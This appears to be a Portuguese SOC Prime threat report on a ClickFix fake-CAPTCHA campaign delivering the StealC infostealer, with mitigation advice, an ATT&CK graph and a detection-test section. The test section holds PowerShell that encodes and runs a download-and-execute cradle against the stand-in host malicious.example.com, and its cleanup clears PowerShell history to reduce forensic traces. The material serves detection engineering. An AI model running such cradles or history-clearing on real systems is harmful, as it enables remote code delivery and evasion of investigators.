SOC Prime Bias: Médio

16 Fev 2026 17:47

Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Como o ClickFix Abre a Porta para o Furtivo Roubador de Informações StealC
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma intrusão em múltiplas fases, sem uso de arquivo, começa em um site de restaurante vietnamita comprometido hospedando um CAPTCHA falso. As vítimas são induzidas a executar um PowerShell que baixa shellcode independente de posição, que carrega reflexivamente um downloader de 64 bits e injeta o ladrão de informações StealC no svchost.exe. O StealC coleta credenciais do navegador, dados de carteiras de criptomoeda, credenciais do Steam e do Outlook, detalhes do host e capturas de tela, então exfiltra via tráfego HTTP criptografado com RC4.

Investigação

Pesquisadores dissecavam o carregador JavaScript e PowerShell, confirmaram o uso da estrutura de shellcode Donut e seguiram as buscas HTTP do downloader para URLs controlados por atacantes. O ladrão parece ser um malware como serviço orientado por construtor, com recursos modulares de roubo, além de uma rotina de autoexclusão. As notas de caça incluem um valor User-Agent de “Loader” e chaves de registro específicas ligadas à preparação e execução.

Mitigação

As defesas recomendadas incluem limitar ou desabilitar colagens de área de transferência em navegadores, apertar políticas de execução do PowerShell e alertar sobre strings User-Agent incomuns. Adicione detecção para carregamento reflexivo de PE e injeção de processos, e aplique inspeção de HTTP de saída para entrega de payload codificado em Base64. A educação do usuário sobre iscas de CAPTCHA falsas deve ser tratada como um controle, não como um pensamento posterior.

Resposta

Se descoberto, isole o endpoint, pare a instância injetada de svchost.exe, capture dumps de memória para revisão do shellcode e bloqueie os domínios/URLs maliciosos. Redefina as credenciais expostas, revise registros e artefatos do navegador para impacto e observe o tráfego residual de C2.

“graph TB %% Class definitions classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[“<b>Technique</b> – <b>T1659 Injeção de Conteúdo</b>: JavaScript malicioso injetado em site comprometido entregando CAPTCHA falso.”] class tech_content_injection technique attack_user_exec[“<b>Action</b> – <b>T1204.004 Execução do Usuário: Copiar e Colar Malicioso</b>: Vítima executa comando PowerShell via Win+R e Ctrl+V.”] class attack_user_exec action tech_powershell[“<b>Technique</b> – <b>T1059.001 PowerShell</b>: Executa script PowerShell que baixa um carregador inu2011memory.”] class tech_powershell technique tech_obfuscation[“<b>Technique</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b>: Shellcode e strings criptografadas, resolução de API dinâmica (T1027.007), payloads removidos (T1027.008).”] class tech_obfuscation technique tech_process_injection[“<b>Technique</b> – <b>T1055 Injeção de Processo</b>: Injeção de Executável Portável (T1055.002) e Hollowing de Processo (T1055.012) no svchost.exe.”] class tech_process_injection technique tech_masquerading[“<b>Technique</b> – <b>T1036 Mascaramento</b>: Uso do processo legítimo svchost.exe para esconder atividades maliciosas.”] class tech_masquerading technique tech_cred_browser[“<b>Technique</b> – <b>T1555.003 Credenciais de Navegadores Web</b>: Roubo de credenciais armazenadas no navegador.”] class tech_cred_browser technique tech_steal_cookie[“<b>Technique</b> – <b>T1539 Roubo de Cookie de Sessão Web</b>: Captura de cookies de autenticação do navegador.”] class tech_steal_cookie technique tech_use_cookie[“<b>Technique</b> – <b>T1550.004 Uso de Material Alternativo de Autenticação: Cookie de Sessão Web</b>: Reuso de cookies roubados para acesso autenticado.”] class tech_use_cookie technique tech_browser_discovery[“<b>Technique</b> – <b>T1217 Descoberta de Informações do Navegador</b>: Coletar informações sobre navegadores instalados e suas configurações.”] class tech_browser_discovery technique tech_archive[“<b>Technique</b> – <b>T1560 Arquivar Dados Coletados</b>: Compactar ou arquivar dados coletados antes da exfiltração.”] class tech_archive technique tech_exfil_c2[“<b>Technique</b> – <b>T1041 Exfiltração por Canal de C2</b>: Transferir dados usando o canal de comandou2011andu2011controle.”] class tech_exfil_c2 technique tech_encrypted_channel[“<b>Technique</b> – <b>T1573 Canal Criptografado</b>: Proteger exfiltração com criptografia (Base64+RC4).”] class tech_encrypted_channel technique tech_exfil_alt[“<b>Technique</b> – <b>T1048.001 Exfiltração por Protocolo Alternativo</b>: Uso de protocolos alternativos para exfiltração de dados.”] class tech_exfil_alt technique tech_file_deletion[“<b>Technique</b> – <b>T1070.004 Exclusão de Arquivo</b>: Excluir arquivos e artefatos para cobrir rastros.”] class tech_file_deletion technique tech_clear_persistence[“<b>Technique</b> – <b>T1070.009 Limpar Persistência</b>: Remover mecanismos de persistência após a execução.”] class tech_clear_persistence technique %% Connections showing attack flow tech_content_injection u002du002d>|leva a| attack_user_exec attack_user_exec u002du002d>|executa| tech_powershell tech_powershell u002du002d>|utiliza| tech_obfuscation tech_obfuscation u002du002d>|habilita| tech_process_injection tech_process_injection u002du002d>|utiliza| tech_masquerading tech_process_injection u002du002d>|habilita| tech_cred_browser tech_process_injection u002du002d>|habilita| tech_steal_cookie tech_cred_browser u002du002d>|suporta| tech_browser_discovery tech_browser_discovery u002du002d>|alimenta| tech_archive tech_archive u002du002d>|dados_comprimidos| tech_exfil_c2 tech_steal_cookie u002du002d>|habilita| tech_use_cookie tech_use_cookie u002du002d>|leva a| tech_exfil_c2 tech_exfil_c2 u002du002d>|protegido por| tech_encrypted_channel tech_exfil_c2 u002du002d>|usa| tech_exfil_alt tech_exfil_c2 u002du002d>|dispara| tech_file_deletion tech_file_deletion u002du002d>|também| tech_clear_persistence “

Fluxo do Ataque

Execução de Simulação

Pré-requisito: A Verificação de Pré-parcela de Telemetria e Ponto de Referência deve ter sido aprovada.

Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) designada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção.

  • Narrativa de Ataque e Comandos:

    Um atacante recebe um e-mail de phishing contendo uma URL curta. O objetivo é instalar um backdoor remoto do PowerShell sem alertar o usuário. O atacante cria um payload PowerShell codificado em Base64 que baixa um script malicioso de um servidor C2 e o executa imediatamente usando iex(irm…). Usando o switch -EncodedCommand , o atacante esconde os comandos reais de uma inspeção casual, e o padrão iex(irm…) corresponde diretamente à regra de detecção.

    1. Crie o script malicioso (payload.ps1) hospedado em http://malicious.example.com/payload.ps1.

    2. Codifique o comando do launcher:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # Este valor é usado no próximo passo
    3. Execute o comando codificado no alvo:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    Isso gera um evento Sysmon ProcessCreate onde CommandLine contém -EncodedCommand and o texto decodificado inclui iex(irm…), satisfazendo a regra Sigma.

  • Script de Teste de Regressão:

    #-----------------------------------------------------------
    # Script de Simulação – Dispara PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Defina a URL do script malicioso (substitua pelo seu servidor de teste)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Construa o comando de uma linha que baixa e executa o script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Codifique o comando em Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Inicie o PowerShell com o comando codificado
    Write-Host "Executando comando codificado..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulação concluída."
  • Comandos de Limpeza:

    # Remova quaisquer arquivos temporários criados pelo payload simulado (se houver)
    # Exemplo: exclua o script baixado se ele foi salvo localmente
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Payload temporário removido."
    }
    
    # Opcionalmente, limpe o histórico do PowerShell para reduzir rastreamento forense
    Clear-History